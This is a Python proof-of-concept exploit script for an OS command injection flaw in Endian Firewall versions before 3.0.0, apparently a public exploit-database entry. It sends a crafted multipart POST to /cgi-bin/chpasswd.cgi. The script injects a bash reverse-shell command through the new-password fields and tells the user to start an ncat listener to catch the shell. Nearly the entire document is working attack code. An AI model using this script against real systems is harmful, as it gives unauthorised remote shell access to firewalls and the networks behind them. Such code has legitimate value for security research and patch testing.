Endian Firewall < 3.0.0 - OS Command Injection
#!/usr/bin/env python # Endian Firewall Proxy User Password Change (/cgi-bin/chpasswd.cgi) # OS Command Injection Exploit POC (Reverse TCP Shell) # Ben Lincoln, 2015-06-28 # http://www.beneaththewaves.net/ # Requires knowledge of a valid proxy username and password on the target Endian Firewall import httplib import sys proxyUserPasswordChangeURI = "/cgi-bin/chpasswd.cgi" def main(): if len(sys.argv) < 7: print "Endian Firewall Proxy User Password Change (/cgi-bin/chpasswd.cgi) Exploit\r\n" print "Usage: " + sys.argv[0] + " [TARGET_SYSTEM_IP] [TARGET_SYSTEM_WEB_PORT] [PROXY_USER_NAME] [PROXY_USER_PASSWORD] [REVERSE_SHELL_IP] [REVERSE_SHELL_PORT]\r\n" print "Example: " + sys.argv[0] + " 172.16.97.1 10443 proxyuser password123 172.16.97.17 443\r\n" print "Be sure you've started a TCP listener on the specified IP and port to receive the reverse shell when it connects.\r\n" print "E.g. ncat -nvlp 443" sys.exit(1) multipartDelimiter = "---------------------------334002631541493081770656718" targetIP = sys.argv[1] targetPort = sys.argv[2] userName = sys.argv[3] password = sys.argv[4] reverseShellIP = sys.argv[5] reverseShellPort = sys.argv[6] exploitString = password + "; /bin/bash -c /bin/bash -i >& /dev/tcp/" + reverseShellIP + "/" + reverseShellPort + " 0>&1;" endianURL = "https://" + targetIP + ":" + targetPort + proxyUserPasswordChangeURI conn = httplib.HTTPSConnection(targetIP, targetPort) headers = {} headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0" headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" headers["Accept-Encoding"] = "" headers["Referer"] = "https://" + targetIP + ":" + targetPort + proxyUserPasswordChangeURI headers["Content-Type"] = "multipart/form-data; boundary=" + multipartDelimiter headers["Accept-Language"] = "en-US,en;q=0.5" headers["Connection"] = "keep-alive" multipartDelimiter = "--" + multipartDelimiter body = multipartDelimiter + "\r\n" body = body + "Content-Disposition: form-data; name=\"ACTION\"\r\n\r\n" body = body + "change\r\n" body = body + multipartDelimiter + "\r\n" body = body + "Content-Disposition: form-data; name=\"USERNAME\"\r\n\r\n" body = body + userName + "\r\n" body = body + multipartDelimiter + "\r\n" body = body + "Content-Disposition: form-data; name=\"OLD_PASSWORD\"\r\n\r\n" body = body + password + "\r\n" body = body + multipartDelimiter + "\r\n" body = body + "Content-Disposition: form-data; name=\"NEW_PASSWORD_1\"\r\n\r\n" body = body + exploitString + "\r\n" body = body + multipartDelimiter + "\r\n" body = body + "Content-Disposition: form-data; name=\"NEW_PASSWORD_2\"\r\n\r\n" body = body + exploitString + "\r\n" body = body + multipartDelimiter + "\r\n" body = body + "Content-Disposition: form-data; name=\"SUBMIT\"\r\n\r\n" body = body + " Change password\r\n" body = body + multipartDelimiter + "--" + "\r\n" conn.request("POST", proxyUserPasswordChangeURI, body, headers) response = conn.getresponse() print "HTTP " + str(response.status) + " " + response.reason + "\r\n" print response.read() print "\r\n\r\n" if __name__ == "__main__": main() |